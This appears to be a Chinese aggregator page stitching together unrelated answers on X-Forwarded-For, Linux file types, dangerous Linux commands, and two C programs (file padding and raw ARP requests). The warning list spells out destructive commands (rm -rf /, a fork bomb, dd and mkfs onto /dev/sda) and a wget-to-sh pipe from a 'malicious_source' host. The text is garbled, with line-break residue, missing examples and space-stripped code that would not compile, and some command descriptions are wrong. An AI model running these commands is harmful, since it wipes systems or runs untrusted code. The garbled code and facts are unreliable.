❶ HTTP 請求頭中的 X-Forwarded-For
X-Forwarded-For請求頭格式非常簡單,就這樣:
可以看到,XFF 的內容由「英文逗號 + 空格」隔開的多個部分組成,最開始的是離服務端最遠的設備 IP,然後是每一級代理設備的 IP。
如果一個 HTTP 請求到達伺服器之前,經過了三個代理 Proxy1、Proxy2、Proxy3,IP 分別為 IP1、IP2、IP3,用戶真實 IP 為 IP0,那麼按照 XFF 標准,服務端最終會收到以下信息:
Proxy3 直連伺服器,它會給 XFF 追加 IP2,表示它是在幫 Proxy2 轉發請求。列表中並沒有 IP3,IP3 可以在服務端通過 remote_address 來自 TCP 連接,表示與服務端建立 TCP 連接的設備 IP,在這個例子里就是 IP3。
詳細分析一下,這樣的結果是經過這樣的流程而形成的:
總結:
remote_address 到 xff頭,如果xff頭不存在,那麼xff就被設置成跟$remote_address 一樣了。如果本來就存在,就追加了 ip1, ip2這樣的形式
問題:
❷ linux小技巧
其實你說的沒錯,linux需要細心,可是你如果是去看別人的,那永遠是別人注意的到問題,而不是你的。還不如自己去做,出了問題去網路或者問人。這樣比問一些技巧有用多了。
❸ 如何查看linux用戶主目錄下的文件
使用和ls參數命令,如下詳細介紹。
❹ Linux系統下有什麼文件格式
Linux文件類型和Linux文件的文件名所代表的意義是兩個不同的概念。x0dx0a一. 文件類型x0dx0aLinux文件類型常見的有:普通文件、目錄文件、字元設備文件和塊設備文件、符號鏈接文件等,現在我們進行一個簡要的說明。x0dx0a1. 普通文件 x0dx0a用 ls -lh 來查看某個文件的屬性,可以看到有類似-rwxrwxrwx,值得注意的是第一個符號是 - ,這樣的文件在Linux中就x0dx0a是普通文件。這些文件一般是用一些相關的應用程序創建,比如圖像工具、文檔工具、歸檔工具... .... 或 cp工具等。這類文件的刪除方式是用x0dx0arm 命令。 另外,依照文件的內容,又大略可以分為:x0dx0a1>. 純文本檔(ASCII):x0dx0a這是Linux系統中最多的一種文件類型,稱為純文本檔是因為內容可以直接讀到的數據,例如數字、字母等等。 用來做為x0dx0a設定的文件都屬於這一種文件類型。 x0dx0a2>. 二進制文件(binary):x0dx0aLinux系統其實僅認識且可以執行二進制文件(binary file)。Linux當中的可執行文件(scripts, 文字型批處理文件不算)就是這種格式的文件。 命令cat就是一個binary file。x0dx0a3>. 數據格式文件(data): x0dx0a有些程序在運作的過程當中會讀取某些特定格式的文件,那些特定格式的文件可以被稱為數據文件 (data file)。舉例來說,Linuxx0dx0a在使用者登錄時,都會將登錄的數據記錄在 /var/log/wtmp那個文件內,該文件是一個data file,能夠透過last這個指令讀出來。 x0dx0a2. 目錄文件x0dx0a在某個目錄下執行,看到有類似 drwxr-xr-x ,這樣的文件就是目錄,目錄在Linux是一個比較特殊的文件。注意它的第一個字元是x0dx0ad。創建目錄的命令可以用 mkdir 命令,或cp命令,cp可以把一個目錄復制為另一個目錄。刪除用rm 或rmdir命令。 x0dx0a3. 字元設備或塊設備文件 x0dx0a進入/dev目錄,列一下文件,會看到類似如下的:x0dx0aroot@localhost ~]# ls -al /dev/ttyx0dx0acrw-rw-rw- 1 root tty 5, 0 11-03 15:11 /dev/ttyx0dx0a[root@localhost ~]# ls -la /dev/sda1x0dx0abrw-r----- 1 root disk 8, 1 11-03 07:11 /dev/sda1x0dx0a可以看到/dev/tty的屬性是 crw-rw-rw- ,注意前面第一個字元是 c ,這表示字元設備文件。比如貓等串口設備。我們看到 /dev/sda1 的屬性是 brw-r----- ,注意前面的第一個字元是b,這表示塊設備,比如硬碟,光碟機等設備。x0dx0a這個種類的文件,是用mknode來創建,用rm來刪除。目前在最新的Linux發行版本中,一般不用自己來創建設備文件。因為這些文件是和內核相關聯的。x0dx0a與系統周邊及儲存等相關的一些文件, 通常都集中在/dev這個目錄之下。通常又分為兩種:x0dx0a區塊(block)設備檔 :x0dx0a就是一些儲存數據, 以提供系統隨機存取的介面設備,舉例來說,硬碟與軟盤等就。 可以隨機的在硬碟的不同區塊讀寫,這種裝置就是成組設備。可以自行查一下/dev/sda看看, 會發現第一個屬性為[ b ]。x0dx0a字元(character)設備文件:x0dx0a亦即是一些串列埠的介面設備, 例如鍵盤、滑鼠等等!這些設備的特色就是一次性讀取的,不能夠截斷輸出。x0dx0a4. 數據介面文件(sockets): x0dx0a數據介面文件(或者:套介面文件),這種類型的文件通常被用在網路上的數據承接了。可以啟動一個程序來監聽客戶端的要求, 而客戶端就可以透過這個socket來進行數據的溝通了。第一個屬性為 [ s ], 最常在/var/run這個目錄中看到這種文件類型了。
❺ LINUX系統有哪些危險命令
這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。
❻ linux下怎樣將一個文件填充為0xff,用命令
以下程序可以填充文件後面全部為0xff到指定大小.
test.c
#include <stdio.h>
/*
* Return: 0, OK
* -1, Fail
*/
unsigned long int appendFile(char *destFilePath, unsigned long int appendLength)
{
unsigned char tmpBuf[1024];
int i = 0;
FILE *fp;
for(i = 0; i < 1024; i++)
{
tmpBuf[i] = 0xFF;
}
if ((fp = fopen(destFilePath, "ab+"))==NULL)
{
printf("Can not open file %s \n", destFilePath);
return -1;
}
while(appendLength > 0)
{
if (appendLength <= 1024)
{
fwrite(tmpBuf, sizeof(char), appendLength, fp);
appendLength -= appendLength;
}
else
{
fwrite(tmpBuf, sizeof(char), 1024, fp);
appendLength -= 1024;
}
}
fclose(fp);
return 0;
}
#define SRC_FILE "./file1.bin"
#define DEST_FILE "./file2.bin"
void main(void)
{
unsigned long int totalLength = (85504 - 13824) * 1024;
unsigned long int fileLength = 57751552;
unsigned long int appendLength = totalLength - fileLength;
appendFile(DEST_FILE, appendLength);
}
❼ 獲取ip地址對應的mac地址,c/c++編程實現,linux下
/**
*@send_arp.c
*@questwithLinux*PF_PACKETinterface
*@Author:xuelei
**/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<netdb.h>
#include<sys/socket.h>
#include<sys/un.h>
#include<sys/ioctl.h>
#include<netinet/in.h>
#include<net/if.h>
#include<sys/types.h>
#include<asm/types.h>
#include<features.h>/*需要裡面的glibc版本號*/
#if__GLIBC__>=2&&__GLIBC_MINOR>=1
#include<netpacket/packet.h>
#include<net/ethernet.h>/*鏈路層(L2)協議*/
#else
#include<asm/types.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>/*鏈路層協議*/
#endif
#include<netinet/if_ether.h>
#defineINLEN4
#defineMAC_BCAST_ADDR(uint8_t*)"xffxffxffxffxffxff"
voisage_quit(char*arg0);
intget_ifi(char*dev,char*mac,intmacln,structin_addr*lc_addr,intipln);
voidprmac(u_char*ptr);
intmain(intargc,char**argv)
{
if(argc!=2)
usage_quit(argv[0]);
intfd,salen,n;
u_char*mac;
charrecv_buf[120],rep_addr[16];
structin_addrlc_addr,req_addr;
structsockaddr_llreqsa,repsa;
structarp_pkt{
structether_headereh;
structether_arpea;
u_charpadding[18];
}req;
bzero(&reqsa,sizeof(reqsa));
reqsa.sll_family=PF_PACKET;
reqsa.sll_ifindex=if_nametoindex("eth0");
if((fd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))<0){
perror("Socketerror");
exit(1);
}
mac=(char*)malloc(ETH_ALEN);
bzero(&req,sizeof(req));
if(get_ifi("eth0",mac,ETH_ALEN,&lc_addr,INLEN)){
fprintf(stderr,"Error:Gethost』sinformationfailed ");
exit(0);
}
printf("HostMACis:%02x:%02x:%02x:%02x:%02x:%02x ",*mac,*(mac+1),*(mac+2),*(mac+3),*(mac+4),*(mac+5));
printf("HostIPis:%s ",inet_ntop(AF_INET,&lc_addr,rep_addr,1024));
/*填寫乙太網頭部*/
memcpy(req.eh.ether_dhost,MAC_BCAST_ADDR,ETH_ALEN);
memcpy(req.eh.ether_shost,mac,ETH_ALEN);
req.eh.ether_type=htons(ETHERTYPE_ARP);
/*填寫arp數據*/
req.ea.arp_hrd=htons(ARPHRD_ETHER);
req.ea.arp_pro=htons(ETHERTYPE_IP);
req.ea.arp_hln=ETH_ALEN;
req.ea.arp_pln=INLEN;
req.ea.arp_op=htons(ARPOP_REQUEST);
memcpy(req.ea.arp_sha,mac,ETH_ALEN);
memcpy(req.ea.arp_spa,&lc_addr,INLEN);
inet_aton(argv[1],req.ea.arp_tpa);
bzero(recv_buf,sizeof(recv_buf));
bzero(&repsa,sizeof(repsa));
salen=sizeof(structsockaddr_ll);
if((n=sendto(fd,&req,sizeof(req),0,(structsockaddr*)&reqsa,sizeof(reqsa)))<=0){
perror("Sendtoerror");
exit(1);
}
printf("Broadcastarprequestof%s,%dbytesbesent ",argv[1],n);
while(1){
if((n=recvfrom(fd,recv_buf,sizeof(req),0,(structsockaddr*)&repsa,&salen))<=0){
perror("Recvfromerror");
exit(1);
}
if(ntohs(*(__be16*)(recv_buf+20))==2&&!memcmp(req.ea.arp_tpa,recv_buf+28,4)){
printf("Responsefrom%s,%dbytesreceived ",argv[1],n);
printf("PeerIPis:%s ",inet_ntop(AF_INET,(structin_addr*)(recv_buf+28),rep_addr,1024));
prmac((u_char*)(recv_buf+22));//prmac((u_char*)(recv_buf+6));
break;
}
else
{
printf("Haverecivedata ");
break;
}
}
free(mac);
}
intget_ifi(char*dev,char*mac,intmacln,structin_addr*lc_addr,intipln)
{
intreqfd,n;
structifreqmacreq;
reqfd=socket(AF_INET,SOCK_DGRAM,0);
strcpy(macreq.ifr_name,dev);
/*獲取本地介面MAC地址*/
if(ioctl(reqfd,SIOCGIFHWADDR,¯eq)!=0)
return1;
memcpy(mac,macreq.ifr_hwaddr.sa_data,macln);
/*獲取本地介面IP地址*/
if(ioctl(reqfd,SIOCGIFADDR,¯eq)!=0)
return1;
memcpy(lc_addr,&((structsockaddr_in*)(¯eq.ifr_addr))->sin_addr,ipln);
return0;
}
voidprmac(u_char*ptr)
{
printf("PeerMACis:%02x:%02x:%02x:%02x:%02x:%02x ",*ptr,*(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4),*(ptr+5));
}
voisage_quit(char*arg0)
{
fprintf(stderr,"Usage:%s<query_IP> ",arg0);
exit(1);
}